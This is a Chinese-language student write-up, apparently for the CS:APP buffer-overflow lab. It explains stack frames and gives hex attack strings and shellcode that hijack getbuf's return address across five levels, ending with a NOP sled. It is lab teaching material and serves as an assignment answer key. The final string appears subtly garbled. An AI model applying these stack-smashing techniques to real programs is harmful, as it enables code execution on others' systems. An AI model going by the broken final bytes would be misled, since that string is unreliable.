第一分钟:栈帧
结构如下
第二分钟:Candle
我们要让getbuf
函数不返回到test
,而是返回到函数smoke
。那么,很直观的,我们应该去修改getbuf
函数栈帧中的返回地址。通过分析bufbomb反汇编之后的代码,我们发现buf的开始地址在-0x28(%ebp)
,而返回地址的存在从0x4(%ebp)
之后的四个字节中。因此,我们只需要在buf中输入48个字节,其中最后四个字节为smoke函数的地址(小端顺序),即可。
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 04 8b 04 08
第三分钟:Sparkler
我们这次依然要改变getbuf
的返回地址,只不过要返回到函数fizz
,依照上一分钟的步骤修改一下即可。不同的是,这一次,我们还要修改fizz
的参数。通过分析bufbomb反汇编之后的代码,我们发现是0x8(%ebp)
和0x804e104
这两个地址中的值发生了比较。很明显,后一个是全局变量cookie
的值,所以我们要对前一个地址的值进行修改。
让我们回想一下到fizz
之前的过程。首先,getbuf
运行到了返回,这时,它先movl %ebp, %esp
,然后popl %ebp
,此时esp
也因pop
操作而加了4,指向返回地址,这部分是leave
的操作。之后,ret
被调用,它的作用是popl eip
, esp
也因为pop
操作又加了4,这是eip
中存储的应该是fizz
的地址。
到了fizz
之后,首先还是要进行push %ebp
和movl %esp, %ebp
。这样,fizz
的栈帧中ebp
的地址比getfuf
的栈帧中ebp
的地址高4,这种差异是由于我们并没有像正常的执行过程那样将返回值压栈造成的。所以,fizz
中的val
应该在比getbuf
中ebp
高12的地方。
知道了这些,我们就可以构造字符串了。首先我们要重写getbuf
的返回地址,这个和上一分钟的做法基本相同,然后,我们要重写val
参数,这个应该放在ebp
之后12比特开始的4比特中。
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 2e 8b 04 08 <- 这四个是覆盖getbuf返回地址用的
00 00 00 00 42 2f 4f 7b <- 这四个是覆盖val用的
第四分钟:Firecracker
这一分钟,我们需要修改全局变量了。在流程上,我们需要作出一些改变。原来是getbuf
->xxx func
,现在是getbuf
->buf
->xxx func
。也就是说,我们需要让buf
里的语句被运行。所以,这一次,虽然我们还要覆盖getbuf
的返回地址,但是要让它返回到buf
里。我们先用gdb
看一下buf
的地址,方法很多,可以查ebp
的地址然后运算,也可以查传入Gets
的参数。
之后,我们要查找global_value的地址。全局变量的地址是直接载入的,所以在反汇编的代码里查就好。
然后,我们就要开始写hack代码了。首先我们要修改global_value的值,用movl $0x7b4f2f42, 0x0804e10c
把自己的cookie写进去。然后,我们还要把bang
的地址放进eip
来实现跳转。pushl $0x08048b82
然后ret
即可。
最后把这段代码汇编,插入到攻击字符串里。
c7 05 0c e1 04 08 42 2f <- hack代码
4f 7b 68 82 8b 04 08 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 98 38 68 55 <- buf的地址
第五分钟:Dynamite
首先让我们来分析一下我们改变了什么?eip
最后会指向该继续运行的地址,所以没有变;esp
最后会变成调用后ebp
的值,ebp
的值没有变,所以esp
也是正确的;栈被我们修改了,但是再返回后,我们修改的那部分都被pop
掉了,所以也没有变。唯一变了的就是原来的ebp
的值,这个在我们hack的时候被覆盖掉了(按我写的字符串来说,会被覆盖成0 0 0 0)。所以我们只需要修复一下ebp
就好。
那么ebp的值应该是什么呢?我们只需要用gdb,设置到test
里任意位置的断点,然后打印ebp
就可以了。
movl $0x7b4f2f42, %eax ; 放cookie
movl $0x556838f0, %ebp ;回复一下ebp
pushl $0x08048bf3 ;push应该返回的地址
ret ;pop刚才压进去的地址到eip,实现跳转。
汇编后即可生成代码,然后组合成攻击字符串
b8 42 2f 4f 7b bd f0 38
68 55 68 f3 8b 04 08 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 98 38 68 55
第六分钟:Nitroglycerin
这一分钟和上一分钟做的事没什么区别,不同的是要对变化的栈地址进行处理。
我们从文档中知道,栈的size大于地址的变化幅度,因此老方法还行的通。
对于攻击字符串,我们需要修改三个地方:ebp
还原,buf
的填充,以及返回地址。
由于地址是不定的,所以我们不能再用固定的值还原ebp
。我们在testn
中可以发现,ebp-0x28
是esp
,所以可以用esp
来计算。(esp
在进入getbuf
之后变成了ebp
,但是在运行buf
里的代码的时候,leave
代码被运行,这样esp
又变了回来)
然后是buf
填充。之前是32,现在是512,所以填充的字符串长度也要变成,其次,我们应该用nop
(机器码是90)来填充。(之前是什么都可以,现在就不一样了)
最后是返回地址,之前设置为buf
的首地址,不过由于现在不知道那是多少,所以应该直接试一下,输出每次的buf
地址,选个比较大的,这样,小的也会落在nop区里,总会运行到hack代码。
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 42 2f 2f
4f 7b 8d 6c 24 28 68 67
8c 04 08 c3 28 37 68 55
第七分钟:写一下实验报告
如上